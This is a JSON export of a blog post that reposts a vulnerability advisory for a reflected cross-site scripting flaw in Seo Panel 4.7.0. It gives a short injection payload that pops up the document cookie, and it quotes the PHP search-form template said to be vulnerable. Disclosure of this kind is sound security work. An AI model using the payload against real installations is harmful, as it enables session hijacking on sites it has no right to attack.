{"id":56111,"date":"2024-04-06T00:41:18","date_gmt":"2024-04-05T20:41:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177947\/seopanel470-xss.txt"},"modified":"2024-04-06T00:41:18","modified_gmt":"2024-04-05T20:41:18","slug":"seo-panel-4-7-0-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/seo-panel-4-7-0-cross-site-scripting\/","title":{"rendered":"Seo Panel 4.7.0 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: Seo Panel 4.7.0 Reflected XSS<br \/># Exploit Author: Arzu DEM\u00ddREZ<br \/># Date: 05.03-2024<br \/># Vendor Homepage: https:\/\/www.seopanel.org\/<br \/># Software Link: https:\/\/github.com\/seopanel\/Seo-Panel\/releases\/tag\/4.7.0<br \/># Version: Seo Panel 4.7.0<\/p>\n<p>-Description:<br \/>A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript.<\/p>\n<p>&#8211; used:<br \/>x&#8221; onmouseover=alert(document.cookie) x=&#8221;<\/p>\n<p>Review Of Analysis:<br \/>\u00ddn archive.ctp.php file include search_form and search_name input load on that script at line 71 as<br \/>&lt;a href=&#8221;javascript:void(0);&#8221; onclick=&#8221;scriptDoLoadPost(&#8216;archive.php&#8217;, &#8216;search_form&#8217;, &#8216;content&#8217;)&#8221; class=&#8221;actionbut&#8221;&gt;&lt;?php echo $spText[&#8216;button&#8217;][&#8216;Search&#8217;]?&gt;&lt;\/a&gt;<br \/>because of that an attacker if send that code<br \/>x&#8221; onmouseover=alert(document.cookie) x=&#8221;<br \/>can exploit the victim.<\/p>\n<p>&lt;form id=&#8217;search_form&#8217;&gt;<br \/>&lt;table width=&#8221;100%&#8221; class=&#8221;search&#8221;&gt;<br \/>&lt;tr&gt;<br \/>&lt;th&gt;&lt;?php echo $spText[&#8216;common&#8217;][&#8216;Name&#8217;]?&gt;: &lt;\/th&gt;<br \/>&lt;td&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;search_name&#8221; value=&#8221;&lt;?php echo htmlentities($searchInfo[&#8216;search_name&#8217;], ENT_QUOTES)?&gt;&#8221; onblur=&#8221;&lt;?php echo $submitLink?&gt;&#8221;&gt;<br \/>&lt;\/td&gt;<br \/>&lt;th&gt;&lt;?php echo $spText[&#8216;common&#8217;][&#8216;Period&#8217;]?&gt;:&lt;\/th&gt;<br \/>&lt;td colspan=&#8221;2&#8243;&gt;<br \/>&lt;input type=&#8221;text&#8221; value=&#8221;&lt;?php echo $fromTime?&gt;&#8221; name=&#8221;from_time&#8221; id=&#8221;from_time_summary&#8221;\/&gt;<br \/>&lt;input type=&#8221;text&#8221; value=&#8221;&lt;?php echo $toTime?&gt;&#8221; name=&#8221;to_time&#8221; id=&#8221;to_time_summary&#8221;\/&gt;<br \/>&lt;script&gt;<br \/>$( function() {<br \/>$( &#8220;#from_time_summary, #to_time_summary&#8221;).datepicker({dateFormat: &#8220;yy-mm-dd&#8221;});<br \/>} );<br \/>&lt;\/script&gt;<br \/>&lt;\/td&gt;<br \/>&lt;tr&gt;<br \/>&lt;tr&gt;<br \/>&lt;th&gt;&lt;?php echo $spText[&#8216;common&#8217;][&#8216;Website&#8217;]?&gt;: &lt;\/th&gt;<br \/>&lt;td&gt;<br \/>&lt;select name=&#8221;website_id&#8221; id=&#8221;website_id&#8221; onchange=&#8221;scriptDoLoadPost(&#8216;archive.php&#8217;, &#8216;search_form&#8217;, &#8216;content&#8217;)&#8221; style=&#8221;width: 180px;&#8221;&gt;<br \/>&lt;option value=&#8221;&#8221;&gt;&#8211; &lt;?php echo $spText[&#8216;common&#8217;][&#8216;Select&#8217;]?&gt; &#8211;&lt;\/option&gt;<br \/>&lt;?php foreach($siteList as $websiteInfo){?&gt;<br \/>&lt;?php if($websiteInfo[&#8216;id&#8217;] == $websiteId){?&gt;<br \/>&lt;option value=&#8221;&lt;?php echo $websiteInfo[&#8216;id&#8217;]?&gt;&#8221; selected&gt;&lt;?php echo $websiteInfo[&#8216;name&#8217;]?&gt;&lt;\/option&gt;<br \/>&lt;?php }else{?&gt;<br \/>&lt;option value=&#8221;&lt;?php echo $websiteInfo[&#8216;id&#8217;]?&gt;&#8221;&gt;&lt;?php echo $websiteInfo[&#8216;name&#8217;]?&gt;&lt;\/option&gt;<br \/>&lt;?php }?&gt;<br \/>&lt;?php }?&gt;<br \/>&lt;\/select&gt;<br \/>&lt;\/td&gt;<br \/>&lt;th&gt;&lt;?php echo $spText[&#8216;label&#8217;][&#8216;Report Type&#8217;]?&gt;: &lt;\/th&gt;<br \/>&lt;td&gt;<br \/>&lt;select name=&#8221;report_type&#8221; id=&#8221;report_type&#8221; onchange=&#8221;scriptDoLoadPost(&#8216;archive.php&#8217;, &#8216;search_form&#8217;, &#8216;content&#8217;)&#8221; style=&#8221;width: 210px;&#8221;&gt;<br \/>&lt;option value=&#8221;&#8221;&gt;&#8211; &lt;?php echo $spText[&#8216;common&#8217;][&#8216;Select&#8217;]?&gt; &#8211;&lt;\/option&gt;<br \/>&lt;?php foreach($reportTypes as $type =&gt; $info){?&gt;<br \/>&lt;?php if($type == $searchInfo[&#8216;report_type&#8217;]){?&gt;<br \/>&lt;option value=&#8221;&lt;?php echo $type?&gt;&#8221; selected&gt;&lt;?php echo $info?&gt;&lt;\/option&gt;<br \/>&lt;?php }else{?&gt;<br \/>&lt;option value=&#8221;&lt;?php echo $type?&gt;&#8221;&gt;&lt;?php echo $info?&gt;&lt;\/option&gt;<br \/>&lt;?php }?&gt;<br \/>&lt;?php }?&gt;<br \/>&lt;\/select&gt;<br \/>&lt;a href=&#8221;javascript:void(0);&#8221; onclick=&#8221;scriptDoLoadPost(&#8216;archive.php&#8217;, &#8216;search_form&#8217;, &#8216;content&#8217;)&#8221; class=&#8221;actionbut&#8221;&gt;&lt;?php echo $spText[&#8216;button&#8217;][&#8216;Search&#8217;]?&gt;&lt;\/a&gt;<\/p>\n<p>Sayg\u00fdlar\u00fdmla \/ Best Regards,<\/p>\n[cid:e33e203c-58cd-46ba-b1ea-f27e999dc68d]\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Seo Panel 4.7.0 Reflected XSS# Exploit Author: Arzu DEM\u00ddREZ# Date: 05.03-2024# Vendor Homepage: https:\/\/www.seopanel.org\/# Software Link: https:\/\/github.com\/seopanel\/Seo-Panel\/releases\/tag\/4.7.0# Version: Seo Panel 4.7.0 -Description:A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript. &#8211; used:x&#8221; onmouseover=alert(document.cookie) x=&#8221; Review Of Analysis:\u00ddn archive.ctp.php file include search_form and &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56111","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56111"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56111\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}